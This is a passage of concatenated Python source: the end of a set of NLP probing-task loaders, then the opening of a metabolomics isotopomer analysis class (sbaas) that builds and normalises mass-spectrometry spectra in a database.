"test.csv")) sentences = [] for split in ["train", "val", "test"]: split_data = getattr(self, "%s_data_text" % split) sentences.extend(split_data[0]) self.sentences = sentences @register_task("se-probing-tree-depth", rel_path="tree_depth") class SEProbingTreeDepthTask(SingleClassificationTask): """ Tree Depth Task """ def __init__(self, path, max_seq_len, name, **kw): """ """ super(SEProbingTreeDepthTask, self).__init__(name, n_classes=8, **kw) self.path = path self.max_seq_len = max_seq_len self._label_namespace = self.name + "_tags" self.train_data_text = None self.val_data_text = None self.test_data_text = None def get_all_labels(self): return [str(x) for x in list(range(8))] def get_sentences(self): return self.sentences def load_data(self): """ Load data """ def load_csv(data_file): rows = pd.read_csv(data_file, encoding="utf-8") labels = rows["1"].apply(lambda x: int(x.split("\t")[0])) labels = labels.apply(lambda x: x - 5) s1 = rows["1"].apply(lambda x: x.split("\t")[1]) s1 = s1.apply( lambda x: tokenize_and_truncate(self._tokenizer_name, x, self.max_seq_len) ) return s1.tolist(), [], labels.tolist(), list(range(len(rows))) self.train_data_text = load_csv(os.path.join(self.path, "train.csv")) self.val_data_text = load_csv(os.path.join(self.path, "val.csv")) self.test_data_text = load_csv(os.path.join(self.path, "test.csv")) sentences = [] for split in ["train", "val", "test"]: split_data = getattr(self, "%s_data_text" % split) sentences.extend(split_data[0]) self.sentences = sentences @register_task("se-probing-top-constituents", rel_path="top_constituents/") class SEProbingTopConstituentsTask(SingleClassificationTask): """ Top Constituents task """ def __init__(self, path, max_seq_len, name, **kw): """ """ super(SEProbingTopConstituentsTask, self).__init__(name, n_classes=20, **kw) self.path = path self.max_seq_len = max_seq_len self._label_namespace = self.name + "_tags" self.train_data_text = None self.val_data_text = None self.test_data_text = None def get_all_labels(self): return self.labels def process_split(self, split, indexers, model_preprocessing_interface): return process_single_pair_task_split( split, indexers, model_preprocessing_interface, label_namespace=self._label_namespace, is_pair=False, skip_indexing=False, ) def get_sentences(self): return self.sentences def load_data(self): """ Load data """ def load_csv(data_file): rows = pd.read_csv(data_file, encoding="utf-8") labels = rows["1"].apply(lambda x: str(x.split("\t")[0])) self.labels = list(set(labels.tolist())) s1 = rows["1"].apply(lambda x: x.split("\t")[1]) s1 = s1.apply( lambda x: tokenize_and_truncate(self._tokenizer_name, x, self.max_seq_len) ) return s1.tolist(), [], labels.tolist(), list(range(len(rows))) self.train_data_text = load_csv(os.path.join(self.path, "train.csv")) self.val_data_text = load_csv(os.path.join(self.path, "val.csv")) self.test_data_text = load_csv(os.path.join(self.path, "test.csv")) sentences = [] for split in ["train", "val", "test"]: split_data = getattr(self, "%s_data_text" % split) sentences.extend(split_data[0]) self.sentences = sentences @register_task("se-probing-subj-number", rel_path="subj_number") class SEProbingSubjNumberTask(SingleClassificationTask): """ Subject number task """ def __init__(self, path, max_seq_len, name, **kw): super(SEProbingSubjNumberTask, self).__init__(name, n_classes=2, **kw) self.path = path self.max_seq_len = max_seq_len self._label_namespace = self.name + "_tags" self.train_data_text = None self.val_data_text = None self.test_data_text = None def get_all_labels(self): return ["NN", "NNS"] def process_split(self, split, indexers, model_preprocessing_interface): return process_single_pair_task_split( split, indexers, model_preprocessing_interface, label_namespace=self._label_namespace, is_pair=False, skip_indexing=False, ) def get_sentences(self): return self.sentences def load_data(self): """ Load data """ def load_csv(data_file): rows = pd.read_csv(data_file, encoding="utf-8") labels = rows["1"].apply(lambda x: str(x.split("\t")[0])) s1 = rows["1"].apply(lambda x: x.split("\t")[1]) s1 = s1.apply( lambda x: tokenize_and_truncate(self._tokenizer_name, x, self.max_seq_len) ) return s1.tolist(), [], labels.tolist(), list(range(len(rows))) self.train_data_text = load_csv(os.path.join(self.path, "train.csv")) self.val_data_text = load_csv(os.path.join(self.path, "val.csv")) self.test_data_text = load_csv(os.path.join(self.path, "test.csv")) sentences = [] for split in ["train", "val", "test"]: split_data = getattr(self, "%s_data_text" % split) sentences.extend(split_data[0]) self.sentences = sentences @register_task("se-probing-obj-number", rel_path="obj_number") class SEProbingObjNumberTask(SingleClassificationTask): """ Object number task """ def __init__(self, path, max_seq_len, name, **kw): super(SEProbingObjNumberTask, self).__init__(name, n_classes=2, **kw) self.path = path self.max_seq_len = max_seq_len self._label_namespace = self.name + "_tags" self.train_data_text = None self.val_data_text = None self.test_data_text = None def get_all_labels(self): return ["NN", "NNS"] def process_split(self, split, indexers, model_preprocessing_interface): return process_single_pair_task_split( split, indexers, model_preprocessing_interface, label_namespace=self._label_namespace, is_pair=False, skip_indexing=False, ) def get_sentences(self): return self.sentences def load_data(self): """ Load data """ def load_csv(data_file): rows = pd.read_csv(data_file, encoding="utf-8") labels = rows["1"].apply(lambda x: str(x.split("\t")[0])) s1 = rows["1"].apply(lambda x: x.split("\t")[1]) s1 = s1.apply( lambda x: tokenize_and_truncate(self._tokenizer_name, x, self.max_seq_len) ) return s1.tolist(), [], labels.tolist(), list(range(len(rows))) self.train_data_text = load_csv(os.path.join(self.path, "train.csv")) self.val_data_text = load_csv(os.path.join(self.path, "val.csv")) self.test_data_text = load_csv(os.path.join(self.path, "test.csv")) sentences = [] for split in ["train", "val", "test"]: split_data = getattr(self, "%s_data_text" % split) sentences.extend(split_data[0]) self.sentences = sentences

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f307927fa7c7cd2cabaa9562cafd666cfea4847d

206,915

py

Python

sbaas/analysis/analysis_stage01_isotopomer/stage01_isotopomer_execute.py

SBRG/sbaas

9df76bbffdd620cf8566744a2b0503935998fbe0

[ "Apache-2.0" ]

1

2017-05-13T04:35:08.000Z

sbaas/analysis/analysis_stage01_isotopomer/stage01_isotopomer_execute.py

SBRG/sbaas

9df76bbffdd620cf8566744a2b0503935998fbe0

[ "Apache-2.0" ]

null

sbaas/analysis/analysis_stage01_isotopomer/stage01_isotopomer_execute.py

SBRG/sbaas

9df76bbffdd620cf8566744a2b0503935998fbe0

[ "Apache-2.0" ]

2

2017-02-23T19:32:38.000Z

2020-01-14T19:13:05.000Z

'''quantitative metabolomics analysis class''' from sbaas.analysis.analysis_base import * from .stage01_isotopomer_query import * from .stage01_isotopomer_io import * from sbaas.resources.molmass import Formula from sbaas.resources.matplot import matplot import re,copy from scipy.stats import mode from scipy.io import savemat class stage01_isotopomer_execute(): '''class for quantitative metabolomics analysis''' def __init__(self, session_I=None): if session_I: self.session = session_I; else: self.session = Session(); self.stage01_isotopomer_query = stage01_isotopomer_query(self.session); self.calculate = base_calculate(); self.isotopomer_13C_fragments_validated = {'23dpg':['C3H7O10P2-'], '6pgc':['C6H12O10P-','C6H10O9P-','C5H12O7P-'], 'accoa':['C23H37N7O17P3S-','C23H36N7O14P2S-','C13H23N2O10P2S-','C10H14N5O10P2-','C10H12N5O9P2-','C10H11N5O6P-'], 'acon-C':['C6H5O6-','C6H3O5-','C5H5O4-'], 'akg':['C5H5O5-','C4H5O3-','C2HO3-'], 'amp':['C5H4N5-','C10H13N5O7P-'], 'asp-L':['C4H6NO4-','C4H6NO2-','C4H3O4-','C3H6NO2-'], 'atp':['C10H15N5O13P3-','C10H14N5O10P2-','C10H12N5O9P2-','C10H11N5O6P-'], 'dhap':['C3H6O6P-'], 'fad':['C27H32N9O15P2-','C17H18N4O8P-','C10H13N5O7P-'], 'fdp':['C6H13O12P2-','C6H10O8P-'], 'g1p':['C6H12O9P-'], 'g6p':['C6H12O9P-','C4H8O7P-'], 'glu-L':['C5H8NO4-','C5H6NO3-'], 'glyc3p':['C3H8O6P-'], 'glyclt':['CH3O2-','C2H3O3-'], 'icit':['C6H7O7-','C6H5O6-','C5H3O3-'], 'mal-L':['C4H5O5-','C4H3O4-'], 'met-L':['CH3S-','C5H10NO2S-'], 'pep':['C3H4O6P-'], 'phe-L':['C9H7O2-','C9H10NO2-'], 'phpyr':['C9H7O3-','C8H7O','C7H7-'], 'Pool_2pg_3pg':['C3H6O7P-'], 'prpp':['C5H9O10P2-','C5H12O14P3-'], 'pyr':['C3H3O3-'], 'ru5p-D':['C5H10O8P-'], 's7p':['C7H14O10P-'], 'skm':['C7H9O5-','C6H5O-'], 'succ':['C4H5O4-','C4H3O3-'], 'thr-L':['C4H8NO3-'], 'ump':['C9H9N2O6-','C9H12N2O9P-','C4H3N2O2-']}; #analyses not tested: def execute_removeDuplicateDilutions(self,experiment_id_I,component_names_dil_I = []): '''remove duplicate dilutions from data_stage01_isotopomer_normalized NOTE: rows are not removed, but the used value is changed to false NOTE: priority is given to the 1x dilution (i.e. 10x dilutions are removed if a 1x and 10x are both used''' # Input: # experiment_id_I = experiment # component_names_dil_I = component names for which the dilution will be prioritized print('execute_removeDuplicateDilutions...') # get sample names sample_ids = []; sample_ids = self.stage01_isotopomer_query.get_sampleIDs_experimentID_dataStage01Normalized(experiment_id_I); for si in sample_ids: # get component names component_names = []; component_names = self.stage01_isotopomer_query.get_componentsNames_experimentIDAndSampleID_dataStage01Normalized(experiment_id_I,si); for cn in component_names: # get dilutions sample_dilutions = []; sample_dilutions = self.stage01_isotopomer_query.get_sampleDilutions_experimentIDAndSampleIDAndComponentName_dataStage01Normalized(experiment_id_I,si,cn); if len(sample_dilutions)<2: continue; # find the minimum and maximum dilution min_sample_dilution = min(sample_dilutions); max_sample_dilution = max(sample_dilutions); for sd in sample_dilutions: # prioritize undiluted samples if not in the dilution list # i.e. diluted samples used_ are set to FALSE if not(cn in component_names_dil_I) and not(sd == min_sample_dilution): # get the sample name sample_name = self.stage01_isotopomer_query.get_sampleName_experimentIDAndSampleIDAndSampleDilution_dataStage01Normalized(experiment_id_I,si,sd); try: data_update = self.session.query(data_stage01_isotopomer_normalized).filter( data_stage01_isotopomer_normalized.experiment_id.like(experiment_id_I), data_stage01_isotopomer_normalized.sample_name.like(sample_name), data_stage01_isotopomer_normalized.component_name.like(cn)).update( {'used_': False},synchronize_session=False); except SQLAlchemyError as e: print(e); # prioritize diluted samples if in the dilution list # i.e. undiluted samples used_ are set to FALSE if (cn in component_names_dil_I) and not(sd == max_sample_dilution): # get the sample name sample_name = self.stage01_isotopomer_query.get_sampleName_experimentIDAndSampleIDAndSampleDilution_dataStage01Normalized(experiment_id_I,si,sd); try: data_update = self.session.query(data_stage01_isotopomer_normalized).filter( data_stage01_isotopomer_normalized.experiment_id.like(experiment_id_I), data_stage01_isotopomer_normalized.sample_name.like(sample_name), data_stage01_isotopomer_normalized.component_name.like(cn)).update( {'used_': False},synchronize_session=False); except SQLAlchemyError as e: print(e); self.session.commit(); def execute_removeDuplicateComponents(self,experiment_id_I): '''remove duplicate components from data_stage01_isotopomer_normalized NOTE: rows are not removed, but the used value is changed to false NOTE: priority is given to the primary transition''' return #analyses tested: def execute_buildSpectrumFromMRMs(self,experiment_id_I,ms_methodtype_I='isotopomer_13C',sample_name_abbreviations_I=[],sample_names_I=[],met_ids_I=[]): '''Extract peak spectrum for each fragment from MRMs''' # Input: # experiment_id # sample_names = (optional) list of specific samples # Output: # sample_name # sample_id # component_group_name # component_name # calculated_concentration # calculated_concentration_units # used_ # assumptions: # 1. there is only spectrum of MRMs for each components print('build_precursorSpectrumFromMRMs...') # get time points time_points = self.stage01_isotopomer_query.get_timePoint_experimentID(experiment_id_I); for tp in time_points: print('Building precursor and product spectrum from MRMs for time-point ' + str(tp)); # get dilutions dilutions = self.stage01_isotopomer_query.get_sampleDilution_experimentIDAndTimePoint(experiment_id_I,tp); for dil in dilutions: print('Building precursor and product spectrum from MRMs for dilution ' + str(dil)); if sample_names_I: sample_abbreviations = []; for sn in sample_names_I: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleName(experiment_id_I,sn); sample_abbreviations.extend(sample_abbreviations_tmp); elif sample_name_abbreviations_I: sample_abbreviations = sample_name_abbreviations_I; else: # get sample names and sample name short sample_abbreviations = []; sample_types = ['Unknown','QC']; for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePointAndDilution(experiment_id_I,st,tp,dil); sample_abbreviations.extend(sample_abbreviations_tmp); for sna_cnt,sna in enumerate(sample_abbreviations): print('Building precursor and product spectrum from MRMs for sample name abbreviation ' + sna); ##BUG alert: ##there is a potential bug whereby if the entire spectra per compound is not returned ##e.g. one of the samples is not returned because "used_" is set to false in isotopomer_MQResultsTable ##the spectra could potentially be shifted ##get_componentsNamesAndOther_experimentIDAndSampleNameAndMSMethodTypeAndTimePointAndDilution has been adjusted to ##return all component_names even if the sample from which it came is not "used_" as a temporary fix ##this works for C12 validation experiments, but ##the results of normalization will need to be monitored until a more robust method is established ##UPDATE to BUG: ##'met_cnt_max = len(component_names)-1' changed to 'met_cnt_max = len(component_names)' and ##get_sampleNamesAndReplicateNumbersAndSampleTypes_experimentIDAndSampleNameAbbreviationAndSampleDescriptionAndTimePointAndDilution added ##so that the last component is included in the met/fragment spectra even when not all component names have "used_" ##set to true in isotopomer_MQResultsTable # component names, group names, fragment formula, and fragment mass if met_ids_I: component_names,component_group_names,\ precursor_formulas_O, precursor_masses_O,\ product_formulas_O, product_masses_O = [],[],[],[],[],[]; for met in met_ids_I: component_names_tmp,component_group_names_tmp,\ precursor_formulas_tmp, precursor_masses_tmp,\ product_formulas_tmp, product_masses_tmp = [],[],[],[],[],[]; component_names_tmp,component_group_names_tmp,\ precursor_formulas_tmp, precursor_masses_tmp,\ product_formulas_tmp, product_masses_tmp = \ self.stage01_isotopomer_query.get_componentsNamesAndOther_experimentIDAndSampleNameAndMSMethodTypeAndTimePointAndDilutionAndMetID( \ experiment_id_I,sna,ms_methodtype_I,tp,dil,met); if not(component_names_tmp): continue #no component information was found component_names.extend(component_names_tmp) component_group_names.extend(component_group_names_tmp) precursor_formulas_O.extend(precursor_formulas_tmp) precursor_masses_O.extend(precursor_masses_tmp) product_formulas_O.extend(product_formulas_tmp) product_masses_O.extend(product_masses_tmp) else: component_names,component_group_names,\ precursor_formulas_O, precursor_masses_O,\ product_formulas_O, product_masses_O = [],[],[],[],[],[]; component_names,component_group_names,\ precursor_formulas_O, precursor_masses_O,\ product_formulas_O, product_masses_O = \ self.stage01_isotopomer_query.get_componentsNamesAndOther_experimentIDAndSampleNameAndMSMethodTypeAndTimePointAndDilution( \ experiment_id_I,sna,ms_methodtype_I,tp,dil); if not(component_names): continue #no component information was found # extract unique met ids and precursor formula id met_ids_unique = []; met_ids = []; #precursor_formulas_unique = []; #product_formulas_unique = []; met_id = ''; met_id_old = ''; # algorithm works because lists are ordered by component_names for i,cn in enumerate(component_names): met_id = cn.split('.')[0]; met_ids.append(met_id); if met_id != met_id_old: met_id_old = met_id; met_ids_unique.append(met_id); #precursor_formulas_unique.append(precursor_formulas_O[i]); #product_formulas_unique.append(product_formulas_O[i]); # get precursor and productformulas for each unique met id: precursor_formulas_unique = []; product_formulas_unique = []; for met in met_ids_unique: precursor_formula,product_formula = None,None; precursor_formula,product_formula = self.stage01_isotopomer_query.get_precursorFormulaAndProductFormula_metID(met,'-','isotopomer_13C') precursor_formulas_unique.append(precursor_formula); product_formulas_unique.append(product_formula); # build precursor and spectrum for each met met_all_cnt = 0; met_cnt_max = len(component_names); # for use in a while loop for i,met in enumerate(met_ids_unique): print('Building precursor and product spectrum from MRMs for metabolite ' + met); # get filtrate samples precursorFiltrate_measured = {}; productFiltrate_measured = {}; #precursorFiltrate_measured[precursor_formulas_unique[i]] = None; #keep track of all met_ids precursorFiltrate = {}; productFiltrate = {}; met_cnt = met_all_cnt; # iterate through mets/fragments then sample names in order to calculate the average for each component_name (fragment/mass) while met_cnt < met_cnt_max and met==met_ids[met_cnt]: # get filtrate sample names sample_names = []; replicate_numbers = []; sample_description = 'Filtrate'; sample_names,replicate_numbers,sample_types = self.stage01_isotopomer_query.get_sampleNamesAndReplicateNumbersAndSampleTypes_experimentIDAndSampleNameAbbreviationAndSampleDescriptionAndComponentNameAndTimePointAndDilution(experiment_id_I,sna,sample_description,component_names[met_cnt],tp,dil); intensities = []; for sn_cnt,sn in enumerate(sample_names): # get intensities intensity = None; intensity = self.stage01_isotopomer_query.get_peakHeight_sampleNameAndComponentName(sn,component_names[met_cnt]); if not(intensity): continue intensities.append(intensity); n_replicates = len(intensities); intensities_average_filtrate = 0.0; intensities_var_filtrate = 0.0; # calculate average and CV of the intensities if (not(intensities)): intensities_average_filtrate = 0.0; elif n_replicates<2: intensities_average_filtrate = intensities[0]; else: #intensities_average_filtrate, intensities_var_filtrate = self.calculate.calculate_ave_var_R(intensities); intensities_average_filtrate = numpy.mean(numpy.array(intensities)); intensities_var_filtrate = numpy.var(numpy.array(intensities)); # append value to dictionary precursorFiltrate[(precursor_masses_O[met_cnt],product_masses_O[met_cnt])] = intensities_average_filtrate; productFiltrate[(precursor_masses_O[met_cnt],product_masses_O[met_cnt])] = intensities_average_filtrate; met_cnt += 1; precursorFiltrate_measured[precursor_formulas_unique[i]] = precursorFiltrate productFiltrate_measured[product_formulas_unique[i]] = productFiltrate # get broth samples sample_names = []; sample_description = 'Broth'; sample_names,replicate_numbers,sample_types = self.stage01_isotopomer_query.get_sampleNamesAndReplicateNumbersAndSampleTypes_experimentIDAndSampleNameAbbreviationAndSampleDescriptionAndTimePointAndDilution(experiment_id_I,sna,sample_description,tp,dil); #sample_names,replicate_numbers,sample_types = self.stage01_isotopomer_query.get_sampleNamesAndReplicateNumbersAndSampleTypes_experimentIDAndSampleNameAbbreviationAndSampleDescriptionAndComponentNameAndTimePointAndDilution(experiment_id_I,sna,sample_description,component_names[met_cnt],tp,dil); # iterate through sample names then mets/fragments in order to calculate the spectrum for each sample and component for sn_cnt,sn in enumerate(sample_names): print('Building precursor and product spectrum from MRMs for sample ' + sn); precursorPeakSpectrum_measured = {}; precursorPeakSpectrum_corrected = {}; productPeakSpectrum_measured = {}; productPeakSpectrum_corrected = {}; #precursorPeakSpectrum_measured[precursor_formulas_unique[i]] = None; #keep track of all met_ids #precursorPeakSpectrum_corrected[precursor_formulas_unique[i]] = None; #keep track of all met_ids precursorMeasured = {}; precursorCorrected = {}; productMeasured = {}; productCorrected = {}; met_cnt = met_all_cnt; while met_cnt < met_cnt_max and met==met_ids[met_cnt]: # get intensities intensity = None; intensity = self.stage01_isotopomer_query.get_peakHeight_sampleNameAndComponentName(sn,component_names[met_cnt]); if not(intensity): precursorMeasured[(precursor_masses_O[met_cnt],product_masses_O[met_cnt])] = 0.0; productMeasured[(precursor_masses_O[met_cnt],product_masses_O[met_cnt])] = 0.0; else: precursorMeasured[(precursor_masses_O[met_cnt],product_masses_O[met_cnt])] = intensity; productMeasured[(precursor_masses_O[met_cnt],product_masses_O[met_cnt])] = intensity; #if precursorFiltrate_measured[precursor_formulas_unique[i]][(precursor_masses_O[met_cnt],product_masses_O[met_cnt])] < 0.5*intensity: # corrected_intensity = intensity - precursorFiltrate_measured[precursor_formulas_unique[i]][(precursor_masses_O[met_cnt],product_masses_O[met_cnt])]; #else: corrected_intensity = 0.0; #precursorCorrected[(precursor_masses_O[met_cnt],product_masses_O[met_cnt])] = corrected_intensity; met_cnt += 1; precursorPeakSpectrum_measured[precursor_formulas_unique[i]] = precursorMeasured; productPeakSpectrum_measured[product_formulas_unique[i]] = productMeasured; # generate normalized spectrum for the precursor: precursorPeakSpectrum_measured, precursorPeakSpectrum_corrected, precursorPeakSpectrum_normalized \ = self.build_precursorSpectrumFromMRMs(precursorPeakSpectrum_measured,precursorFiltrate_measured); peakSpectrum_stats_O,precursorPeakSpectrum_theoretical = self.compare_peakSpectrum_normMax([precursorPeakSpectrum_normalized],True); # update data_stage01_isotopomer_normalized if precursorPeakSpectrum_theoretical[precursor_formulas_unique[i]]: for k,v in precursorPeakSpectrum_theoretical[precursor_formulas_unique[i]].items(): row1 = None; row1 = data_stage01_isotopomer_normalized(experiment_id_I,sn,sna,sample_types[sn_cnt],tp,dil,replicate_numbers[sn_cnt], met,precursor_formulas_unique[i],int(numpy.round(k)), precursorPeakSpectrum_measured[precursor_formulas_unique[i]][k],'cps', precursorPeakSpectrum_corrected[precursor_formulas_unique[i]][k],'cps', precursorPeakSpectrum_normalized[precursor_formulas_unique[i]][k],'normMax', v,peakSpectrum_stats_O[precursor_formulas_unique[i]][k]['absDev'],'MRM',True,None); self.session.add(row1); # generate normalized spectrum for the product: productPeakSpectrum_measured, productPeakSpectrum_corrected, productPeakSpectrum_normalized \ = self.build_productSpectrumFromMRMs(productPeakSpectrum_measured,productFiltrate_measured); peakSpectrum_stats_O,productPeakSpectrum_theoretical = self.compare_peakSpectrum_normMax([productPeakSpectrum_normalized],True); # update data_stage01_isotopomer_normalized if productPeakSpectrum_theoretical[product_formulas_unique[i]]: for k,v in productPeakSpectrum_theoretical[product_formulas_unique[i]].items(): row2 = None; row2 = data_stage01_isotopomer_normalized(experiment_id_I,sn,sna,sample_types[sn_cnt],tp,dil,replicate_numbers[sn_cnt], met,product_formulas_unique[i],int(numpy.round(k)), productPeakSpectrum_measured[product_formulas_unique[i]][k],'cps', productPeakSpectrum_corrected[product_formulas_unique[i]][k],'cps', productPeakSpectrum_normalized[product_formulas_unique[i]][k],'normMax', v,peakSpectrum_stats_O[product_formulas_unique[i]][k]['absDev'],'MRM',True,None); self.session.add(row2); met_all_cnt = met_cnt self.session.commit(); def execute_updateNormalizedSpectrum(self,experiment_id_I, sample_names_I = None, sample_name_abbreviations_I = None, met_ids_I = None, scan_types_I = None): '''re-calculate intensity_normalized from intensity_corrected and used''' print('execute_updateNormalizedSpectrum...') # get time points time_points = self.stage01_isotopomer_query.get_timePoint_experimentID_dataStage01Normalized(experiment_id_I); for tp in time_points: print('Building precursor and product spectrum from isotopomer normalized for time-point ' + str(tp)); dataListUpdated = []; # get dilutions dilutions = []; dilutions = self.stage01_isotopomer_query.get_sampleDilution_experimentIDAndTimePoint_dataStage01Normalized(experiment_id_I,tp); for dil in dilutions: print('Building precursor and product spectrum from isotopomer normalized for dilution ' + str(dil)); if sample_names_I: sample_abbreviations = []; sample_types = ['Unknown','QC']; for sn in sample_names_I: for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePointAndDilutionAndSampleName_dataStage01Normalized(experiment_id_I,st,tp,dil,sn); sample_abbreviations.extend(sample_abbreviations_tmp); elif sample_name_abbreviations_I: sample_abbreviations = sample_name_abbreviations_I; else: # get sample names and sample name abbreviations sample_abbreviations = []; sample_types = ['Unknown','QC']; for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePointAndDilution_dataStage01Normalized(experiment_id_I,st,tp,dil); sample_abbreviations.extend(sample_abbreviations_tmp); for sna_cnt,sna in enumerate(sample_abbreviations): print('Building precursor and product spectrum from isotopomer normalized for sample name abbreviation ' + sna); # get the scan_types if scan_types_I: scan_types = scan_types_I; else: scan_types = []; scan_types = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndDilutionAndSampleAbbreviations_dataStage01Normalized(experiment_id_I,tp,dil,sna); for scan_type in scan_types: print('Building precursor and product spectrum for scan type ' + scan_type) # met_ids if not met_ids_I: met_ids = []; met_ids = self.stage01_isotopomer_query.get_metIDs_experimentIDAndSampleAbbreviationAndTimePointAndDilutionAndScanType_dataStage01Normalized( \ experiment_id_I,sna,tp,dil,scan_type); else: met_ids = met_ids_I; if not(met_ids): continue #no component information was found for met in met_ids: print('Building precursor and product spectrum from isotopomer normalized for metabolite ' + met); # get sample names sample_names = []; sample_names,replicate_numbers,sample_types = self.stage01_isotopomer_query.get_sampleNamesAndReplicateNumbersAndSampleTypes_experimentIDAndSampleNameAbbreviationAndMetIDAndTimePointAndDilutionAndScanType_dataStage01Normalized(experiment_id_I,sna,met,tp,dil,scan_type); # iterate through sample names then mets/fragments in order to calculate the spectrum for each sample and component for sn_cnt,sn in enumerate(sample_names): print('Building precursor and product spectrum from isotopomer normalized for sample ' + sn); # get peak data for the sample/met_id/scan_type peak_data = []; peak_data = self.stage01_isotopomer_query.get_data_experimentIDAndSampleNameAndMetIDAndAndScanType_normalized(experiment_id_I,sn,met,scan_type); fragment_formulas = list(peak_data.keys()); peakSpectrum_corrected, peakSpectrum_normalized = self.extract_peakList_normMax(\ peak_data, fragment_formulas, True); peakSpectrum_stats,peakSpectrum_theoretical = self.compare_peakSpectrum_normMax([peakSpectrum_normalized],True); # update data_stage01_isotopomer_normalized for frag,spec in peakSpectrum_theoretical.items(): if spec: fragment_str = re.sub('[+-]', '', frag); fragment_mass = Formula(fragment_str).isotope.mass; for k,v in peakSpectrum_theoretical[frag].items(): dataListUpdated.append({'experiment_id':experiment_id_I, 'sample_name':sn, 'sample_name_abbreviation':sna, 'sample_type':sample_types[sn_cnt], 'time_point':tp, 'dilution':dil, 'replicate_number':replicate_numbers[sn_cnt], 'met_id':met, 'fragment_formula':frag, 'fragment_mass':int(numpy.round(k)), 'intensity_corrected':peakSpectrum_corrected[frag][k], 'intensity_corrected_units':'cps', 'intensity_normalized':peakSpectrum_normalized[frag][k], 'intensity_normalized_units':'normMax', 'intensity_theoretical':v, 'abs_devFromTheoretical':peakSpectrum_stats[frag][k]['absDev'], 'scan_type':scan_type}); self.stage01_isotopomer_query.update_data_stage01_isotopomer_normalized(dataListUpdated); def execute_recombineNormalizedSpectrum(self,experiment_id_I, sample_names_I = None, sample_name_abbreviations_I = None, met_ids_I = None): '''recombine intensity_normalized from a lower and higher dilution''' '''Assumptions: only a single fragment:spectrum is used_ per sample name abbreviation, time-point, replicate, scan_type (i.e. there are no multiple dilutions of the same precursor:spectrum that are used_) ''' print('execute_recombineNormalizedSpectrum...') # get time points time_points = self.stage01_isotopomer_query.get_timePoint_experimentIDAndComment_dataStage01Normalized(experiment_id_I,'Recombine'); for tp in time_points: print('recombining spectrum for time-point ' + str(tp)); dataListUpdated = []; if sample_names_I: sample_abbreviations = []; sample_types = ['Unknown','QC']; for sn in sample_names_I: for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePointAndSampleNameAndComment_dataStage01Normalized(experiment_id_I,st,tp,sn,'Recombine'); sample_abbreviations.extend(sample_abbreviations_tmp); elif sample_name_abbreviations_I: sample_abbreviations = sample_name_abbreviations_I; else: # get sample names and sample name abbreviations sample_abbreviations = []; sample_types = ['Unknown','QC']; for st in sample_types: sample_abbreviations_tmp = []; sample_abbreviations_tmp = self.stage01_isotopomer_query.get_sampleNameAbbreviations_experimentIDAndSampleTypeAndTimePointAndComment_dataStage01Normalized(experiment_id_I,st,tp,'Recombine'); sample_abbreviations.extend(sample_abbreviations_tmp); for sna_cnt,sna in enumerate(sample_abbreviations): print('recombining spectrum for sample name abbreviation ' + sna); # get the scan_types scan_types = []; scan_types = self.stage01_isotopomer_query.get_scanTypes_experimentIDAndTimePointAndSampleAbbreviationsAndComment_dataStage01Normalized(experiment_id_I,tp,sna,'Recombine'); for scan_type in scan_types: print('recombining spectrum for scan type ' + scan_type) # met_ids if not met_ids_I: met_ids = []; met_ids = self.stage01_isotopomer_query.get_metIDs_experimentIDAndSampleAbbreviationAndTimePointAndScanTypeAndComment_dataStage01Normalized( \ experiment_id_I,sna,tp,scan_type,'Recombine'); else: met_ids = met_ids_I; if not(met_ids): continue #no component information was found for met in met_ids: print('recombining spectrum for metabolite ' + met); # get replicates replicate_numbers = []; replicate_numbers = self.stage01_isotopomer_query.get_replicateNumbers_experimentIDAndSampleAbbreviationAndTimePointAndScanTypeAndMetID_dataStage01Normalized( \ experiment_id_I,sna,tp,scan_type,met); for rep in replicate_numbers: print('recombining spectrum for replicate_number ' + str(rep)); #get data peakData_I = {}; peakData_I = self.stage01_isotopomer_query.get_data_experimentIDAndSampleAbbreviationAndTimePointAndScanTypeAndMetIDAndReplicateNumber_dataStage01Normalized( \ experiment_id_I,sna,tp,scan_type,met,rep); peakData_O,peakData_O_false,peakData_intensities_O = self.recombine_dilutionsMRMs(peakData_I); peakSpectrum_stats = self.compare_peakSpectrum_normMax([peakData_intensities_O]); # update data_stage01_isotopomer_normalized for frag,spec in peakSpectrum_stats.items(): if spec: fragment_str = re.sub('[+-]', '', frag); fragment_mass = Formula(fragment_str).isotope.mass; for k,v in peakSpectrum_stats[frag].items(): if int(numpy.round(k)) in peakData_O[frag]: dataListUpdated.append({'experiment_id':experiment_id_I, 'sample_name_abbreviation':sna, 'time_point':tp, 'dilution':peakData_O[frag][int(numpy.round(k))]['dilution'], 'replicate_number':rep, 'met_id':met, 'fragment_formula':frag, 'fragment_mass':int(numpy.round(k)), 'intensity_normalized':peakData_O[frag][int(numpy.round(k))]['intensity'], 'intensity_normalized_units':'normMax', 'abs_devFromTheoretical':v['absDev'], 'scan_type':scan_type, 'used_':peakData_O[frag][int(numpy.round(k))]['used_'], 'comment_':peakData_O[frag][int(numpy.round(k))]['comment_']}); # update data_stage01_isotopomer_normalized (rows changed to false) for frag,spec in peakData_O_false.items(): if spec: fragment_str = re.sub('[+-]', '', frag); fragment_mass = Formula(fragment_str).isotope.mass; for k,v in peakData_O_false[frag].items(): if v: dataListUpdated.append({'experiment_id':experiment_id_I, 'sample_name_abbreviation':sna, 'time_point':tp, 'dilution':v['dilution'], 'replicate_number':rep, 'met_id':met, 'fragment_formula':frag, 'fragment_mass':int(numpy.round(k)), 'intensity_normalized':v['intensity'], 'intensity_normalized_units':'normMax', 'abs_devFromTheoretical':None, 'scan_type':scan_type, 'used_':v['used_'], 'comment_':v['comment_']}); self.stage01_isotopomer_query.update_data_stage01_isotopomer_normalized(dataListUpdated); def execute_analyzeAverages(self,experiment_id_I, sample_names_I = None, sample_name_abbreviations_I = None, met_ids_I = None, scan_types_I = None): '''calculate the 